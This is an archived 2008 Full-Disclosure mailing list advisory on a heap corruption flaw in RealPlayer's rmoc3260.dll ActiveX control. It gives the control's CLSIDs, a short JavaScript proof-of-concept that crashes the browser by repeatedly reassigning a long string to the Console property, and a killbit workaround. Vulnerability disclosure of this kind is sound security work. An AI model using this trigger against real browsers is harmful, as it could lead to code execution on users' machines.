

# [Full-disclosure] Real Networks RealPlayer ActiveX Control Heap Corruption

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2008-03/msg00156.html>

---

- *From:* "Elazar Broad" <[elazar@xxxxxxxxxxxxx](mailto:elazar@xxxxxxxxxxxxx)>
  - *Date:* Mon, 10 Mar 2008 05:50:57 +0000
- 

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1

Who:  
Real Networks  
<http://www.real.com>

What:  
Real Networks Real Player is a popular media player.

How:  
Real Player utilizes an ActiveX control to play content within the users browser.

```
rmoc3260.dll version 6.0.10.45  
{2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93}  
{CFCDA03-8BE4-11CF-B84B-0020AFBBCCFA}
```

It is possible to modify heap blocks after they are freed and overwrite certain registers, possibly allowing code execution. Like so:

```
-----  
var buf = "  
while (buf.length < 1005) buf = buf + 'A';
```

```
m = obj.Console;  
obj.Console = buf;  
obj.Console = m
```

```
//repeat  
m = obj.Console;  
obj.Console = buf;  
obj.Console = m --> Should crash here  
-----
```

Workaround:  
Set the killbit for this control. See

[Full-disclosure] Real Networks RealPlayer ActiveX Control Heap Corruption

<http://support.microsoft.com/kb/240797>

Fix:

No official fix known

Exploit:

Working on it

Elazar

-----BEGIN PGP SIGNATURE-----

Charset: UTF8

Note: This signature can be verified at <https://www.hushtools.com/verify>

Version: Hush 3.0

wpwEAQECAAyFAkfUzEEACgkQi04xwClgpZhsDQP+OPMkrAZcp/kR1MCleBervmVYPRc1

2cMRLBbhFcUC7Uc/ajXmKe6naZEr1RqKzHBrugWZeANkP5gdk/Kd/fOXacCZcVApXSJj

OcopiKRr7tnTi13Rt4XW4oBRjpiWHyHxFZA06Jzc2JJHeF7sTrew+s43PTU1eaj9/w4o

Nf0Ydt8=

=IpTC

-----END PGP SIGNATURE-----

---

Energy Saving Heating and Cooling Systems. Click for free information.

<http://tagline.hushmail.com/fc/Ioyw6h4dbo0qfLJjDSbocxFRYwpBkZwjS6vzQEbs8WmdoAPvpevJZe/>

---

Full-Disclosure – We believe in it.

Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>

Hosted and sponsored by Secunia – <http://secunia.com/>